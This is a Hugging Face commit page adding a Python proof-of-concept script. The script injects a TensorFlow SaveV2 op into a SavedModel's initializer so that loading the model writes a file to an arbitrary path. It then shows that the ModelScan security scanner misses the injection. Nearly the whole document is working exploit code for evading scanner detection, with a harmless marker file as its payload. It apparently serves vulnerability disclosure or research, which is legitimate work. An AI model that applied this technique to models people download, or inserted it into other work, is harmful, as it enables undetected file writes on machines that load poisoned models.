Rammadaeus commited on
Commit
fb37513
·
verified ·
1 Parent(s): 05ee103

Upload poc_modelscan_bypass_savev2.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_modelscan_bypass_savev2.py +141 -0
poc_modelscan_bypass_savev2.py ADDED
@@ -0,0 +1,141 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """PoC: ModelScan bypass using SaveV2 instead of WriteFile"""
3
+ import os, tempfile, shutil
4
+ os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
5
+ import tensorflow as tf
6
+ from tensorflow.core.protobuf import saved_model_pb2
7
+ from tensorflow.core.framework import types_pb2
8
+
9
+ base_dir = tempfile.mkdtemp(prefix="tf_bypass_")
10
+ print("=== ModelScan Bypass PoC: SaveV2 instead of WriteFile ===")
11
+
12
+ # Create model with HashTable
13
+ class M(tf.Module):
14
+ def __init__(self):
15
+ super().__init__()
16
+ self.table = tf.lookup.StaticHashTable(
17
+ tf.lookup.KeyValueTensorInitializer(
18
+ keys=["a"], values=[1],
19
+ key_dtype=tf.string, value_dtype=tf.int32
20
+ ), default_value=0
21
+ )
22
+ @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
23
+ def serve(self, x):
24
+ return self.table.lookup(x)
25
+
26
+ m = M()
27
+ sm_dir = os.path.join(base_dir, "model")
28
+ tf.saved_model.save(m, sm_dir)
29
+
30
+ # Inject SaveV2 instead of WriteFile
31
+ pb_path = os.path.join(sm_dir, "saved_model.pb")
32
+ sm = saved_model_pb2.SavedModel()
33
+ with open(pb_path, "rb") as f:
34
+ sm.ParseFromString(f.read())
35
+
36
+ marker = "/tmp/tf_savev2_bypass"
37
+ for mg in sm.meta_graphs:
38
+ for func in mg.graph_def.library.function:
39
+ if "initializer" in func.signature.name:
40
+ # prefix (path to write to)
41
+ pf = func.node_def.add()
42
+ pf.name = "sv2_prefix"
43
+ pf.op = "Const"
44
+ pf.attr["dtype"].type = types_pb2.DT_STRING
45
+ pf.attr["value"].tensor.dtype = types_pb2.DT_STRING
46
+ pf.attr["value"].tensor.string_val.append(marker.encode())
47
+
48
+ # tensor_names
49
+ tn = func.node_def.add()
50
+ tn.name = "sv2_names"
51
+ tn.op = "Const"
52
+ tn.attr["dtype"].type = types_pb2.DT_STRING
53
+ tn.attr["value"].tensor.dtype = types_pb2.DT_STRING
54
+ tn.attr["value"].tensor.tensor_shape.dim.add().size = 1
55
+ tn.attr["value"].tensor.string_val.append(b"payload")
56
+
57
+ # shape_and_slices
58
+ ss = func.node_def.add()
59
+ ss.name = "sv2_slices"
60
+ ss.op = "Const"
61
+ ss.attr["dtype"].type = types_pb2.DT_STRING
62
+ ss.attr["value"].tensor.dtype = types_pb2.DT_STRING
63
+ ss.attr["value"].tensor.tensor_shape.dim.add().size = 1
64
+ ss.attr["value"].tensor.string_val.append(b"")
65
+
66
+ # data tensor
67
+ dt = func.node_def.add()
68
+ dt.name = "sv2_data"
69
+ dt.op = "Const"
70
+ dt.attr["dtype"].type = types_pb2.DT_STRING
71
+ dt.attr["value"].tensor.dtype = types_pb2.DT_STRING
72
+ dt.attr["value"].tensor.string_val.append(b"MODELSCAN_BYPASSED")
73
+
74
+ # SaveV2 op
75
+ sv = func.node_def.add()
76
+ sv.name = "sv2_op"
77
+ sv.op = "SaveV2"
78
+ sv.input.append("sv2_prefix:output:0")
79
+ sv.input.append("sv2_names:output:0")
80
+ sv.input.append("sv2_slices:output:0")
81
+ sv.input.append("sv2_data:output:0")
82
+ sv.attr["dtypes"].list.type.append(types_pb2.DT_STRING)
83
+
84
+ for node in func.node_def:
85
+ if node.op == "NoOp":
86
+ node.input.append("^sv2_op")
87
+ break
88
+ break
89
+
90
+ with open(pb_path, "wb") as f:
91
+ f.write(sm.SerializeToString())
92
+
93
+ # Step 1: Scan with ModelScan
94
+ print("[1] ModelScan analysis...")
95
+ from modelscan.modelscan import ModelScan
96
+ scanner = ModelScan()
97
+ results = scanner.scan(sm_dir)
98
+ issues = results.get("issues", [])
99
+ if issues:
100
+ print(f" ModelScan found {len(issues)} issues:")
101
+ for issue in issues:
102
+ print(f" {issue['operator']}: {issue['severity']}")
103
+ else:
104
+ print(" ModelScan found NO issues!")
105
+
106
+ # Step 2: Load model
107
+ print()
108
+ print("[2] Loading model...")
109
+ import glob
110
+ # Clean markers
111
+ for f in glob.glob(marker + "*"):
112
+ os.remove(f)
113
+
114
+ try:
115
+ loaded = tf.saved_model.load(sm_dir)
116
+ print(" Model loaded!")
117
+
118
+ files = glob.glob(marker + "*")
119
+ if files:
120
+ print(f" SaveV2 created files: {files}")
121
+ for f in files:
122
+ print(f" {f}: {os.path.getsize(f)} bytes")
123
+ print(" -> File write via SaveV2, bypassing ModelScan!")
124
+ else:
125
+ print(" No files created")
126
+ except Exception as e:
127
+ print(f" Error: {str(e)[:300]}")
128
+ files = glob.glob(marker + "*")
129
+ if files:
130
+ print(f" SaveV2 created files DESPITE error: {files}")
131
+
132
+ # Cleanup
133
+ shutil.rmtree(base_dir)
134
+ for f in glob.glob(marker + "*"):
135
+ os.remove(f)
136
+
137
+ print()
138
+ print("=== Summary ===")
139
+ print("SaveV2 writes checkpoint files to arbitrary paths.")
140
+ print("ModelScan does NOT detect SaveV2 as dangerous.")
141
+ print("This bypasses the ReadFile/WriteFile blocklist.")